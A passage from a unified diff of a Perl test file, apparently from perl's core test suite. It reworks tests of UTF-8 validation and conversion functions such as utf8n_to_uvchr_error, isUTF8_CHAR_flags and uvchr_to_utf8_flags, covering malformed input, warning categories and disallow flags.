+                  $ret = test_isUTF8_CHAR_flags($this_bytes, $this_length,
+                                      $::UTF8_DISALLOW_ILLEGAL_INTERCHANGE);
+                  is($ret, $expected_ret,
+                      "    And isUTF8_CHAR_flags('"
+                    . "DISALLOW_ILLEGAL_INTERCHANGE') acts like"
+                    . " isSTRICT_UTF8_CHAR");
+              }
+              is(scalar @warnings_gotten, 0,
+                      "    And neither isSTRICT_UTF8_CHAR() nor"
+                    . " isUTF8_CHAR_flags generated any warnings")
+              or output_warnings(@warnings_gotten);
+
+              undef @warnings_gotten;
+              $ret = test_isC9_STRICT_UTF8_CHAR($this_bytes, $this_length);
+              if ($malformations_name) {
+                  is($ret, 0, "    And isC9_STRICT_UTF8_CHAR() returns 0");
+              }
+              else {
+                  my $expected_ret = (   $testname =~ /surrogate/
+                                      || $allowed_uv > 0x10FFFF)
+                                      ? 0
+                                      : $this_expected_len;
+                  is($ret, $expected_ret, "    And isC9_STRICT_UTF8_CHAR()"
+                                        . " returns expected length:"
+                                        . " $expected_ret");
+                  $ret = test_isUTF8_CHAR_flags($this_bytes, $this_length,
+                                  $::UTF8_DISALLOW_ILLEGAL_C9_INTERCHANGE);
+                  is($ret, $expected_ret,
+                      "    And isUTF8_CHAR_flags('"
+                    . "DISALLOW_ILLEGAL_C9_INTERCHANGE') acts like"
+                    . " isC9_STRICT_UTF8_CHAR");
+              }
+              is(scalar @warnings_gotten, 0,
+                      "    And neither isC9_STRICT_UTF8_CHAR() nor"
+                    . " isUTF8_CHAR_flags generated any warnings")
+              or output_warnings(@warnings_gotten);
+
+              foreach my $disallow_type (0..2) {
+                  # 0 is don't disallow this type of code point
+                  # 1 is do disallow
+                  # 2 is do disallow, but only code points requiring
+                  #   perl-extended-UTF8
+
+                  my $disallow_flags;
+                  my $expected_ret;
+
+                  if ($malformations_name) {
+
+                      # Malformations are by default disallowed, so testing
+                      # with $disallow_type equal to 0 is sufficicient.
+                      next if $disallow_type;
+
+                      $disallow_flags = 0;
+                      $expected_ret = 0;
+                  }
+                  elsif ($disallow_type == 1) {
+                      $disallow_flags = $utf8n_flag_to_disallow;
+                      $expected_ret = 0;
+                  }
+                  elsif ($disallow_type == 2) {
+                      next if ! requires_extended_utf8($allowed_uv);
+                      $disallow_flags = $::UTF8_DISALLOW_PERL_EXTENDED;
+                      $expected_ret = 0;
+                  }
+                  else {  # type is 0
+                      $disallow_flags = $utf8n_flag_to_disallow_complement;
+                      $expected_ret = $this_length;
+                  }
+
+                  $ret = test_isUTF8_CHAR_flags($this_bytes, $this_length,
+                                                $disallow_flags);
+                  is($ret, $expected_ret,
+                            "    And isUTF8_CHAR_flags($display_bytes,"
+                          . " $disallow_flags) returns $expected_ret")
+                    or diag "The flags mean "
+                          . flags_to_text($disallow_flags,
+                                          \@utf8n_flags_to_text);
+                  is(scalar @warnings_gotten, 0,
+                          "    And isUTF8_CHAR_flags(...) generated"
+                        . " no warnings")
+                    or output_warnings(@warnings_gotten);
+
+                  # Test partial character handling, for each byte not a
+                  # full character
+                  my $did_test_partial = 0;
+                  for (my $j = 1; $j < $this_length - 1; $j++) {
+                      $did_test_partial = 1;
+                      my $partial = substr($this_bytes, 0, $j);
+                      my $ret_should_be;
+                      my $comment;
+                      if ($disallow_type || $malformations_name) {
+                          $ret_should_be = 0;
+                          $comment = "disallowed";
+
+                          # The number of bytes required to tell if a
+                          # sequence has something wrong is the smallest of
+                          # all the things wrong with it.  We start with the
+                          # number for this type of code point, if that is
+                          # disallowed; or the whole length if not.  The
+                          # latter is what a couple of the malformations
+                          # require.
+                          my $needed_to_tell = ($disallow_type)
+                                                ? $this_needed_to_discern_len
+                                                : $this_expected_len;
+
+                          # Then we see if the malformations that are
+                          # detectable early in the string are present.
+                          if ($overlong) {
+                              my $dl = overlong_discern_len($this_bytes);
+                              $needed_to_tell = $dl if $dl < $needed_to_tell;
+                          }
+                          if ($will_overflow) {
+                              my $dl = overflow_discern_len($length);
+                              $needed_to_tell = $dl if $dl < $needed_to_tell;
+                          }
+
+                          if ($j < $needed_to_tell) {
+                              $ret_should_be = 1;
+                              $comment .= ", but need $needed_to_tell"
+                                        . " bytes to discern:";
+                          }
+                      }
+                      else {
+                          $ret_should_be = 1;
+                          $comment = "allowed";
+                      }
+
+                      undef @warnings_gotten;
+
+                      $ret = test_is_utf8_valid_partial_char_flags($partial,
+                                                      $j, $disallow_flags);
+                      is($ret, $ret_should_be,
+                          "    And is_utf8_valid_partial_char_flags("
+                          . display_bytes($partial)
+                          . ", $disallow_flags), $comment: returns"
+                          . " $ret_should_be")
+                      or diag "The flags mean "
+                      . flags_to_text($disallow_flags, \@utf8n_flags_to_text);
+                  }
+
+                  if ($did_test_partial) {
+                      is(scalar @warnings_gotten, 0,
+                          "    And is_utf8_valid_partial_char_flags()"
+                          . " generated no warnings for any of the lengths")
+                        or output_warnings(@warnings_gotten);
+                  }
+              }
+          }
+
+          # Now test the to/from UTF-8 calls.  There are several orthogonal
+          # variables involved.  We test most possible combinations
+
+          foreach my $do_disallow (0, 1) {
+            if ($do_disallow) {
+              next if $initially_overlong || $initially_orphan;
             }
-        }
-    }
+            else {
+              next if $skip_most_tests;
+            }
 
-    # This is more complicated than the malformations tested earlier, as there
-    # are several orthogonal variables involved.  We test all the subclasses
-    # of utf8 warnings to verify they work with and without the utf8 class,
-    # and don't have effects on other sublass warnings
-    foreach my $warning ('utf8', 'surrogate', 'nonchar', 'non_unicode') {
-      foreach my $warn_flag (0, $warn_flags) {
-        foreach my $disallow_flag (0, $disallow_flags) {
-          foreach my $do_warning (0, 1) {
+            # This tests four functions: utf8n_to_uvchr_error,
+            # utf8n_to_uvchr_msgs, uvchr_to_utf8_flags, and
+            # uvchr_to_utf8_msgs.  The first two are variants of each other,
+            # and the final two also form a pair.  We use a loop 'which_func'
+            # to determine which of each pair is being tested.  The main loop
+            # tests either the first and third, or the 2nd and fourth.
+            # which_func is sets whether we are expecting warnings or not in
+            # certain places.  The _msgs() version of the functions expects
+            # warnings even if lexical ones are turned off, so by making its
+            # which_func == 1, we can say we want warnings; whereas the other
+            # one with the value 0, doesn't get them.
+            for my $which_func (0, 1) {
+              my $utf8_func = ($which_func)
+                          ? 'utf8n_to_uvchr_msgs'
+                          : 'utf8n_to_uvchr_error';
 
-            # We try each of the above with various combinations of
-            # malformations that can occur on the same input sequence.
-            foreach my $short ("", "short") {
-              foreach my $unexpected_noncont ("",
-                                              "unexpected non-continuation")
-              {
-                foreach my $overlong ("", "overlong") {
+              # We classify the warnings into certain "interesting" types,
+              # described later
+              foreach my $warning_type (0..4) {
+                next if $skip_most_tests && $warning_type != 1;
+                foreach my $use_warn_flag (0, 1) {
+                    if ($use_warn_flag) {
+                        next if $initially_overlong || $initially_orphan;
 
-                    # If we're already at the longest possible, we
-                    # can't create an overlong (which would be longer)
-                    # can't handle anything larger.
-                    next if $overlong && $expected_len >= $::max_bytes;
+                        # Since foo_msgs() expects warnings even when lexical
+                        # ones are turned off, we can skip testing it when
+                        # they are turned on, with little likelihood of
+                        # missing an error case.
+                        next if $which_func;
+                    }
+                    else {
+                        next if $skip_most_tests;
+                    }
 
-                    my @malformations;
-                    my @expected_errors;
-                    push @malformations, $short if $short;
-                    push @malformations, $unexpected_noncont
-                                                      if $unexpected_noncont;
-                    push @malformations, $overlong if $overlong;
+                    # Finally, here is the inner loop
 
-                    # The overflow malformation test in the input
-                    # array is coerced into being treated like one of
-                    # the others.
-                    if ($will_overflow) {
-                        push @malformations, 'overflow';
-                        push @expected_errors, $::UTF8_GOT_OVERFLOW;
+                    my $this_utf8n_flag_to_warn = $utf8n_flag_to_warn;
+                    my $this_utf8n_flag_to_disallow = $utf8n_flag_to_disallow;
+                    my $this_uvchr_flag_to_warn = $uvchr_flag_to_warn;
+                    my $this_uvchr_flag_to_disallow = $uvchr_flag_to_disallow;
+
+                    my $eval_warn;
+                    my $expect_regular_warnings;
+                    my $expect_warnings_for_malformed;
+                    my $expect_warnings_for_overflow;
+
+                    if ($warning_type == 0) {
+                        $eval_warn = "use warnings";
+                        $expect_regular_warnings = $use_warn_flag;
+
+                        # We ordinarily expect overflow warnings here.  But it
+                        # is somewhat more complicated, and the final
+                        # determination is deferred to one place in the file
+                        # where we handle overflow.
+                        $expect_warnings_for_overflow = 1;
+
+                        # We would ordinarily expect malformed warnings in
+                        # this case, but not if malformations are allowed.
+                        $expect_warnings_for_malformed
+                                                = $malformed_allow_type == 0;
                     }
+                    elsif ($warning_type == 1) {
+                        $eval_warn = "no warnings";
+                        $expect_regular_warnings = $which_func;
+                        $expect_warnings_for_overflow = $which_func;
+                        $expect_warnings_for_malformed = $which_func;
+                    }
+                    elsif ($warning_type == 2) {
+                        $eval_warn = "no warnings; use warnings 'utf8'";
+                        $expect_regular_warnings = $use_warn_flag;
+                        $expect_warnings_for_overflow = 1;
+                        $expect_warnings_for_malformed
+                                                = $malformed_allow_type == 0;
+                    }
+                    elsif ($warning_type == 3) {
+                        $eval_warn = "no warnings; use warnings"
+                                   . " '$controlling_warning_category'";
+                        $expect_regular_warnings = $use_warn_flag;
+                        $expect_warnings_for_overflow
+                            = $controlling_warning_category eq 'non_unicode';
+                        $expect_warnings_for_malformed = $which_func;
+                    }
+                    elsif ($warning_type == 4) {  # Like type 3, but uses the
+                                                  # PERL_EXTENDED flags
+                        # The complement flags were set up so that the
+                        # PERL_EXTENDED flags have been tested that they don't
+                        # trigger wrongly for too small code points.  And the
+                        # flags have been set up so that those small code
+                        # points are tested for being above Unicode.  What's
+                        # left to test is that the large code points do
+                        # trigger the PERL_EXTENDED flags.
+                        next if ! requires_extended_utf8($allowed_uv);
+                        next if $controlling_warning_category ne 'non_unicode';
+                        $eval_warn = "no warnings; use warnings 'non_unicode'";
+                        $expect_regular_warnings = 1;
+                        $expect_warnings_for_overflow = 1;
+                        $expect_warnings_for_malformed = 0;
+                        $this_utf8n_flag_to_warn = $::UTF8_WARN_PERL_EXTENDED;
+                        $this_utf8n_flag_to_disallow
+                                             = $::UTF8_DISALLOW_PERL_EXTENDED;
+                        $this_uvchr_flag_to_warn
+                                              = $::UNICODE_WARN_PERL_EXTENDED;
+                        $this_uvchr_flag_to_disallow
+                                          = $::UNICODE_DISALLOW_PERL_EXTENDED;
+                    }
+                    else {
+                       die "Unexpected warning type '$warning_type'";
+                    }
 
-                    my $malformations_name = join "/", @malformations;
-                    $malformations_name .= " malformation"
-                                                if $malformations_name;
-                    $malformations_name .= "s" if @malformations > 1;
-                    my $this_bytes = $bytes;
-                    my $this_length = $length;
+                    # We only need to test the case where all warnings are
+                    # enabled (type 0) to see if turning off the warning flag
+                    # causes things to not be output.  If those pass, then
+                    # turning on some sub-category of warnings, or turning off
+                    # warnings altogether are extremely likely to not output
+                    # warnings either, given how the warnings subsystem is
+                    # supposed to work, and this file assumes it does work.
+                    next if $warning_type != 0 && ! $use_warn_flag;
+
+                    # The convention is that the 'got' flag is the same value
+                    # as the disallow one.  If this were violated, the tests
+                    # here should start failing.
+                    my $return_flag = $this_utf8n_flag_to_disallow;
+
+                    # If we aren't expecting warnings/disallow for this, turn
+                    # on all the other flags.  That makes sure that they all
+                    # are independent of this flag, and so we don't need to
+                    # test them individually.
+                    my $this_warning_flags
+                            = ($use_warn_flag)
+                              ? $this_utf8n_flag_to_warn
+                              : ($overlong_is_in_perl_extended_utf8
+                                ? ($utf8n_flag_to_warn_complement
+                                    & ~$::UTF8_WARN_PERL_EXTENDED)
+                                :  $utf8n_flag_to_warn_complement);
+                    my $this_disallow_flags
+                            = ($do_disallow)
+                              ? $this_utf8n_flag_to_disallow
+                              : ($overlong_is_in_perl_extended_utf8
+                                 ? ($utf8n_flag_to_disallow_complement
+                                    & ~$::UTF8_DISALLOW_PERL_EXTENDED)
+                                 :  $utf8n_flag_to_disallow_complement);
                     my $expected_uv = $allowed_uv;
-                    my $this_expected_len = $expected_len;
-                    my $this_needed_to_discern_len = $needed_to_discern_len;
-                    if ($malformations_name) {
-                        $expected_uv = 0;
+                    my $this_uv_string = $uv_string;
 
-                        # Coerce the input into the desired
-                        # malformation
-                        if ($malformations_name =~ /overlong/) {
+                    my @expected_return_flags
+                                        = @expected_malformation_return_flags;
+                    my @expected_warnings;
+                    push @expected_warnings, @expected_malformation_warnings
+                                            if $expect_warnings_for_malformed;
 
-                            # For an overlong, we convert the original
-                            # start byte into a continuation byte with
-                            # the same data bits as originally. ...
-                            substr($this_bytes, 0, 1)
-                                = start_byte_to_cont(substr($this_bytes,
-                                                            0, 1));
+                    # The overflow malformation is done differently than other
+                    # malformations.  It comes from manually typed tests in
+                    # the test array, but it also is above Unicode and uses
+                    # Perl extended UTF-8, so affects some of the flags being
+                    # tested.  We now make it be treated like one of the other
+                    # generated malformations.
+                    if ($will_overflow) {
 
-                            # ... Then we prepend it with a known
-                            # overlong sequence.  This should evaluate
-                            # to the exact same code point as the
-                            # original.
-                            $this_bytes
-                            = I8_to_native("\xff")
-                            . (I8_to_native(chr $::first_continuation)
-                            x ( $::max_bytes - 1 - length($this_bytes)))
-                            . $this_bytes;
-                            $this_length = length($this_bytes);
-                            $this_needed_to_discern_len
-                                 = $::max_bytes - ($this_expected_len
-                                               - $this_needed_to_discern_len);
-                            $this_expected_len = $::max_bytes;
-                            push @expected_errors, $::UTF8_GOT_LONG;
+                        # An overflow is (way) above Unicode, and overrides
+                        # everything else.
+                        $expect_regular_warnings = 0;
+
+                        # Earlier, we tentatively calculated whether this
+                        # should emit a message or not.  It's tentative
+                        # because, even if we ordinarily would output it, we
+                        # don't if malformations are allowed -- except an
+                        # overflow is also a SUPER and PERL_EXTENDED, and if
+                        # warnings for those are enabled, the overflow
+                        # warning does get raised.
+                        if (   $expect_warnings_for_overflow
+                            && (    $malformed_allow_type == 0
+                                ||   (   $this_warning_flags
+                                      & ($::UTF8_WARN_SUPER
+                                        |$::UTF8_WARN_PERL_EXTENDED))))
+                        {
+                            push @expected_warnings, $overflow_msg_pattern;
                         }
-                        if ($malformations_name =~ /short/) {
+                    }
 
-                            # Just tell the test to not look far
-                            # enough into the input.
-                            $this_length--;
-                            $this_expected_len--;
-                            push @expected_errors, $::UTF8_GOT_SHORT;
-                        }
-                        if ($malformations_name
-                                                =~ /non-continuation/)
+                    # It may be that the malformations have shortened the
+                    # amount of input we look at so much that we can't tell
+                    # what the category the code point was in.  Otherwise, set
+                    # up the expected return flags based on the warnings and
+                    # disallowments.
+                    if ($this_expected_len < $this_needed_to_discern_len) {
+                        $expect_regular_warnings = 0;
+                    }
+                    elsif (   ($this_warning_flags & $this_utf8n_flag_to_warn)
+                           || (  $this_disallow_flags
+                               & $this_utf8n_flag_to_disallow))
+                    {
+                        push @expected_return_flags, $return_flag;
+                    }
+
+                    # Finish setting up the expected warning.
+                    if ($expect_regular_warnings) {
+
+                        # So far the array contains warnings generated by
+                        # malformations.  Add the expected regular one.
+                        unshift @expected_warnings, $this_cp_message_qr;
+
+                        # But it may need to be modified, because either of
+                        # these malformations means we can't determine the
+                        # expected code point.
+                        if (   $short || $unexpected_noncont
+                            || $dont_use_overlong_cp)
                         {
-                            # Change the final continuation byte into
-                            # a non one.
-                            my $pos = ($short) ? -2 : -1;
-                            substr($this_bytes, $pos, 1) = '?';
-                            $this_expected_len--;
-                            push @expected_errors,
-                                            $::UTF8_GOT_NON_CONTINUATION;
+                            my $first_byte = substr($this_bytes, 0, 1);
+                            $expected_warnings[0] = display_bytes(
+                                    substr($this_bytes, 0, $this_expected_len));
+                            $expected_warnings[0]
+                                = qr/[Aa]\Qny UTF-8 sequence that starts with\E
+                                     \Q $expected_warnings[0]\E
+                                     \Q $this_non_cp_trailing_text\E/x;
                         }
                     }
 
-                    my $eval_warn = $do_warning
-                                ? "use warnings '$warning'"
-                                : $warning eq "utf8"
-                                    ? "no warnings 'utf8'"
-                                    : ( "use warnings 'utf8';"
-                                    . " no warnings '$warning'");
+                    # Is effectively disallowed if we've set up a malformation
+                    # (unless malformations are allowed), even if the flag
+                    # indicates it is allowed.  Fix up test name to indicate
+                    # this as well
+                    my $disallowed = 0;
+                    if (   $this_disallow_flags & $this_utf8n_flag_to_disallow
+                        && $this_expected_len >= $this_needed_to_discern_len)
+                    {
+                        $disallowed = 1;
+                    }
+                    if ($malformations_name) {
+                        if ($malformed_allow_type == 0) {
+                            $disallowed = 1;
+                        }
+                        elsif ($malformed_allow_type == 1) {
 
-                    # Is effectively disallowed if we've set up a
-                    # malformation, even if the flag indicates it is
-                    # allowed.  Fix up test name to indicate this as
-                    # well
-                    my $disallowed = $disallow_flag
-                                || $malformations_name;
-                    my $this_name = "utf8n_to_uvchr_error() $testname: "
-                                                . (($disallow_flag)
-                                                ? 'disallowed'
-                                                : $disallowed
-                                                    ? $disallowed
-                                                    : 'allowed');
-                    $this_name .= ", $eval_warn";
-                    $this_name .= ", " . (($warn_flag)
-                                        ? 'with warning flag'
-                                        : 'no warning flag');
+                            # Even if allowed, the malformation returns the
+                            # REPLACEMENT CHARACTER.
+                            $expected_uv = 0xFFFD;
+                            $this_uv_string = "0xFFFD"
+                        }
+                    }
 
-                    undef @warnings;
+                    my $this_name = "$utf8_func() $testname: ";
+                    my @scratch_expected_return_flags = @expected_return_flags;
+                    if (! $initially_malformed) {
+                        $this_name .= ($disallowed)
+                                       ? 'disallowed, '
+                                       : 'allowed, ';
+                    }
+                    $this_name .= "$eval_warn";
+                    $this_name .= ", " . ((  $this_warning_flags
+                                            & $this_utf8n_flag_to_warn)
+                                          ? 'with flag for raising warnings'
+                                          : 'no flag for raising warnings');
+                    $this_name .= $malformations_name;
+
+                    # Do the actual test using an eval
+                    undef @warnings_gotten;
                     my $ret_ref;
-                    my $display_bytes = display_bytes($this_bytes);
-                    my $call = "    Call was: $eval_warn; \$ret_ref"
-                            . " = test_utf8n_to_uvchr_error("
-                            . "'$display_bytes', $this_length,"
-                            . "$warn_flag"
-                            . "|$disallow_flag)";
+                    my $this_flags
+                        = $allow_flags|$this_warning_flags|$this_disallow_flags;
                     my $eval_text =      "$eval_warn; \$ret_ref"
-                            . " = test_utf8n_to_uvchr_error("
-                            . "'$this_bytes',"
-                            . " $this_length, $warn_flag"
-                            . "|$disallow_flag)";
+                            . " = test_$utf8_func("
+                            . "'$this_bytes', $this_length, $this_flags)";
                     eval "$eval_text";
-                    if (! ok ("$@ eq ''",
-                        "$this_name: eval succeeded"))
+                    if (! ok ($@ eq "", "$this_name: eval succeeded"))
                     {
-                        diag "\$!='$!'; eval'd=\"$call\"";
+                        diag "\$@='$@'; call was: "
+                           . utf8n_display_call($eval_text);
                         next;
                     }
+
                     if ($disallowed) {
-                        is($ret_ref->[0], 0, "$this_name: Returns 0")
-                          or diag $call;
+                        is($ret_ref->[0], 0, "    And returns 0")
+                          or diag "Call was: " . utf8n_display_call($eval_text);
                     }
                     else {
                         is($ret_ref->[0], $expected_uv,
-                                "$this_name: Returns expected uv: "
-                                . sprintf("0x%04X", $expected_uv))
-                          or diag $call;
+                                "    And returns expected uv: "
+                              . $this_uv_string)
+                          or diag "Call was: " . utf8n_display_call($eval_text);
                     }
                     is($ret_ref->[1], $this_expected_len,
-                                        "$this_name: Returns expected length:"
+                                        "    And returns expected length:"
                                       . " $this_expected_len")
-                      or diag $call;
+                      or diag "Call was: " . utf8n_display_call($eval_text);
 
-                    my $errors = $ret_ref->[2];
+                    my $returned_flags = $ret_ref->[2];
 
-                    for (my $i = @expected_errors - 1; $i >= 0; $i--) {
-                        if (ok($expected_errors[$i] & $errors,
-                            "Expected and got error bit return"
-                            . " for $malformations[$i] malformation"))
-                        {
-                            $errors &= ~$expected_errors[$i];
-                        }
-                        splice @expected_errors, $i, 1;
+                    for (my $i = @scratch_expected_return_flags - 1;
+                         $i >= 0;
+                         $i--)
+                    {
+                      if ($scratch_expected_return_flags[$i] & $returned_flags)
+                      {
+                          if ($scratch_expected_return_flags[$i]
+                                              == $::UTF8_GOT_PERL_EXTENDED)
+                          {
+                              pass("    Expected and got return flag for"
+                                  . " PERL_EXTENDED");
+                          }
+                                  # The first entries in this are
+                                  # malformations
+                          elsif ($i > @malformation_names - 1)  {
+                              pass("    Expected and got return flag"
+                                  . " for " . $controlling_warning_category);
+                          }
+                          else {
+                              pass("    Expected and got return flag for "
+                                  . $malformation_names[$i]
+                                  . " malformation");
+                          }
+                          $returned_flags
+                                      &= ~$scratch_expected_return_flags[$i];
+                          splice @scratch_expected_return_flags, $i, 1;
+                      }
                     }
-                    is(scalar @expected_errors, 0,
-                            "Got all the expected malformation errors")
-                      or diag Dumper \@expected_errors;
 
-                    if (   $this_expected_len >= $this_needed_to_discern_len
-                        && ($warn_flag || $disallow_flag))
+                    if (! is($returned_flags, 0,
+                       "    Got no unexpected return flags"))
                     {
-                        is($errors, $expected_error_flags,
-                                "Got the correct error flag")
-                          or diag $call;
+                        diag "The unexpected flags gotten were: "
+                           . (flags_to_text($returned_flags,
+                                            \@utf8n_flags_to_text)
+                                # We strip off any prefixes from the flag
+                                # names
+                             =~ s/ \b [A-Z] _ //xgr);
+                        diag "Call was: " . utf8n_display_call($eval_text);
                     }
-                    else {
-                        is($errors, 0, "Got no other error flag");
+
+                    if (! is (scalar @scratch_expected_return_flags, 0,
+                        "    Got all expected return flags"))
+                    {
+                        diag "The expected flags not gotten were: "
+                           . (flags_to_text(eval join("|",
+                                                @scratch_expected_return_flags),
+                                            \@utf8n_flags_to_text)
+                                # We strip off any prefixes from the flag
+                                # names
+                             =~ s/ \b [A-Z] _ //xgr);
+                        diag "Call was: " . utf8n_display_call($eval_text);
                     }
 
-                    if (@malformations) {
-                        if (! $do_warning && $warning eq 'utf8') {
-                            goto no_warnings_expected;
-                        }
+                    if ($which_func) {
+                        my @returned_warnings;
+                        for my $element_ref (@{$ret_ref->[3]}) {
+                            push @returned_warnings, $element_ref->{'text'};
+                            my $text = $element_ref->{'text'};
+                            my $flag = $element_ref->{'flag_bit'};
+                            my $category = $element_ref->{'warning_category'};
 
-                        # Check that each malformation generates a
-                        # warning, removing that warning if found
-                    MALFORMATION:
-                        foreach my $malformation (@malformations) {
-                            foreach (my $i = 0; $i < @warnings; $i++) {
-                                if ($warnings[$i] =~ /$malformation/) {
-                                    pass("Expected and got"
-                                    . "'$malformation' warning");
-                                    splice @warnings, $i, 1;
-                                    next MALFORMATION;
-                                }
+                            if (! ok(($flag & ($flag-1)) == 0,
+                                      "flag for returned msg is a single bit"))
+                            {
+                              diag sprintf("flags are %x; msg=%s", $flag, $text);
                             }
-                            fail("Expected '$malformation' warning"
-                            . " but didn't get it");
+                            else {
+                              if (grep { $_ == $flag } @expected_return_flags) {
+                                  pass("flag for returned msg is expected");
+                              }
+                              else {
+                                  fail("flag ("
+                                     . flags_to_text($flag, \@utf8n_flags_to_text)
+                                     . ") for returned msg is expected");
+                              }
+                            }
 
+                            # In perl space, don't know the category numbers
+                            isnt($category, 0,
+                                          "returned category for msg isn't 0");
                         }
+
+                        ok(@warnings_gotten == 0, "$utf8_func raised no warnings;"
+                              . " the next tests are for ones in the returned"
+                              . " variable")
+                            or diag join "\n", "The unexpected warnings were:",
+                                                              @warnings_gotten;
+                        @warnings_gotten = @returned_warnings;
                     }
 
-                    # Any overflow will override any super or above-31
-                    # warnings.
-                    goto no_warnings_expected
-                                if $will_overflow || $this_expected_len
-                                        < $this_needed_to_discern_len;
+                    do_warnings_test(@expected_warnings)
+                      or diag "Call was: " . utf8n_display_call($eval_text);
+                    undef @warnings_gotten;
 
-                    if (    ! $do_warning
-                        && (   $warning eq 'utf8'
-                            || $warning eq $category))
+                    # Check CHECK_ONLY results when the input is
+                    # disallowed.  Do this when actually disallowed,
+                    # not just when the $this_disallow_flags is set.  We only
+                    # test once utf8n_to_uvchr_msgs() with this.
+                    if (   $disallowed
+                        && ($which_func == 0 || ! $tested_CHECK_ONLY))
                     {
-                        goto no_warnings_expected;
-                    }
-                    elsif ($warn_flag) {
-                        if (is(scalar @warnings, 1,
-                            "$this_name: Got a single warning "))
+                        $tested_CHECK_ONLY = 1;
+                        my $this_flags = $this_disallow_flags|$::UTF8_CHECK_ONLY;
+                        my $eval_text = "use warnings; \$ret_ref ="
+                                      . " test_$utf8_func('"
+                                      . "$this_bytes', $this_length,"
+                                      . " $this_flags)";
+                        eval $eval_text;
+                        if (! ok ($@ eq "",
+                            "    And eval succeeded with CHECK_ONLY"))
                         {
-                            like($warnings[0], $message,
-                                    "$this_name: Got expected warning")
-                                or diag $call;
+                            diag "\$@='$@'; Call was: "
+                               . utf8n_display_call($eval_text);
+                            next;
                         }
-                        else {
-                            diag $call;
-                            if (scalar @warnings) {
-                                output_warnings(@warnings);
-                            }
-                        }
-                    }
-                    else {
-                    no_warnings_expected:
-                        unless (is(scalar @warnings, 0,
-                                "$this_name: Got no warnings"))
-                        {
-                            diag $call;
-                            output_warnings(@warnings);
-                        }
-                    }
-
-                    # Check CHECK_ONLY results when the input is
-                    # disallowed.  Do this when actually disallowed,
-                    # not just when the $disallow_flag is set
-                    if ($disallowed) {
-                        undef @warnings;
-                        $ret_ref = test_utf8n_to_uvchr_error(
-                                    $this_bytes, $this_length,
-                                    $disallow_flag|$::UTF8_CHECK_ONLY);
-                        is($ret_ref->[0], 0,
-                                        "$this_name, CHECK_ONLY: Returns 0")
-                          or diag $call;
+                        is($ret_ref->[0], 0, "    CHECK_ONLY: Returns 0")
+                          or diag "Call was: " . utf8n_display_call($eval_text);
                         is($ret_ref->[1], -1,
-                            "$this_name: CHECK_ONLY: returns -1 for length")
-                          or diag $call;
-                        if (! is(scalar @warnings, 0,
-                            "$this_name, CHECK_ONLY: no warnings"
-                        . " generated"))
+                                       "    CHECK_ONLY: returns -1 for length")
+                          or diag "Call was: " . utf8n_display_call($eval_text);
+                        if (! is(scalar @warnings_gotten, 0,
+                                      "    CHECK_ONLY: no warnings generated"))
                         {
-                            diag $call;
-                            output_warnings(@warnings);
+                            diag "Call was: " . utf8n_display_call($eval_text);
+                            output_warnings(@warnings_gotten);
                         }
                     }
 
                     # Now repeat some of the above, but for
                     # uvchr_to_utf8_flags().  Since this comes from an
-                    # existing code point, it hasn't overflowed, and
-                    # isn't malformed.
-                    next if @malformations;
+                    # existing code point, it hasn't overflowed, and isn't
+                    # malformed.
+                    next if @malformation_names;
 
-                    # The warning and disallow flags passed in are for
-                    # utf8n_to_uvchr_error().  Convert them for
-                    # uvchr_to_utf8_flags().
-                    my $uvchr_warn_flag = 0;
-                    my $uvchr_disallow_flag = 0;
-                    if ($warn_flag) {
-                        if ($warn_flag == $::UTF8_WARN_SURROGATE) {
-                            $uvchr_warn_flag = $::UNICODE_WARN_SURROGATE
-                        }
-                        elsif ($warn_flag == $::UTF8_WARN_NONCHAR) {
-                            $uvchr_warn_flag = $::UNICODE_WARN_NONCHAR
-                        }
-                        elsif ($warn_flag == $::UTF8_WARN_SUPER) {
-                            $uvchr_warn_flag = $::UNICODE_WARN_SUPER
-                        }
-                        elsif ($warn_flag == $::UTF8_WARN_ABOVE_31_BIT) {
-                            $uvchr_warn_flag
-                                        = $::UNICODE_WARN_ABOVE_31_BIT;
-                        }
-                        else {
-                            fail(sprintf "Unexpected warn flag: %x",
-                                $warn_flag);
-                            next;
-                        }
-                    }
-                    if ($disallow_flag) {
-                        if ($disallow_flag == $::UTF8_DISALLOW_SURROGATE)
-                        {
-                            $uvchr_disallow_flag
-                                        = $::UNICODE_DISALLOW_SURROGATE;
-                        }
-                        elsif ($disallow_flag == $::UTF8_DISALLOW_NONCHAR)
-                        {
-                            $uvchr_disallow_flag
-                                        = $::UNICODE_DISALLOW_NONCHAR;
-                        }
-                        elsif ($disallow_flag == $::UTF8_DISALLOW_SUPER) {
-                            $uvchr_disallow_flag
-                                        = $::UNICODE_DISALLOW_SUPER;
-                        }
-                        elsif ($disallow_flag
-                                        == $::UTF8_DISALLOW_ABOVE_31_BIT)
-                        {
-                            $uvchr_disallow_flag =
-                                        $::UNICODE_DISALLOW_ABOVE_31_BIT;
-                        }
-                        else {
-                            fail(sprintf "Unexpected disallow flag: %x",
-                                $disallow_flag);
-                            next;
-                        }
-                    }
+                    my $uvchr_func = ($which_func)
+                                     ? 'uvchr_to_utf8_flags_msgs'
+                                     : 'uvchr_to_utf8_flags';
 
-                    $disallowed = $uvchr_disallow_flag;
+                    $this_warning_flags = ($use_warn_flag)
+                                          ? $this_uvchr_flag_to_warn
+                                          : 0;
+                    $this_disallow_flags = ($do_disallow)
+                                           ? $this_uvchr_flag_to_disallow
+                                           : 0;
 
-                    $this_name = "uvchr_to_utf8_flags() $testname: "
-                                            . (($uvchr_disallow_flag)
-                                                ? 'disallowed'
-                                                : ($disallowed)
-                                                ? 'ABOVE_31_BIT allowed'
-                                                : 'allowed');
+                    $disallowed = $this_disallow_flags
+                                & $this_uvchr_flag_to_disallow;
+                    $this_name .= ", " . ((  $this_warning_flags
+                                           & $this_utf8n_flag_to_warn)
+                                          ? 'with flag for raising warnings'
+                                          : 'no flag for raising warnings');
+
+                    $this_name = "$uvchr_func() $testname: "
+                                        . (($disallowed)
+                                           ? 'disallowed'
+                                           : 'allowed');
                     $this_name .= ", $eval_warn";
-                    $this_name .= ", " . (($uvchr_warn_flag)
+                    $this_name .= ", " . ((  $this_warning_flags
+                                           & $this_uvchr_flag_to_warn)
                                         ? 'with warning flag'
                                         : 'no warning flag');
 
-                    undef @warnings;
+                    undef @warnings_gotten;
                     my $ret;
-                    my $warn_flag = sprintf "0x%x", $uvchr_warn_flag;
-                    my $disallow_flag = sprintf "0x%x",
-                                                $uvchr_disallow_flag;
-                    $call = sprintf("    Call was: $eval_warn; \$ret"
-                                . " = test_uvchr_to_utf8_flags("
-                                . " 0x%x, $warn_flag|$disallow_flag)",
-                                $allowed_uv);
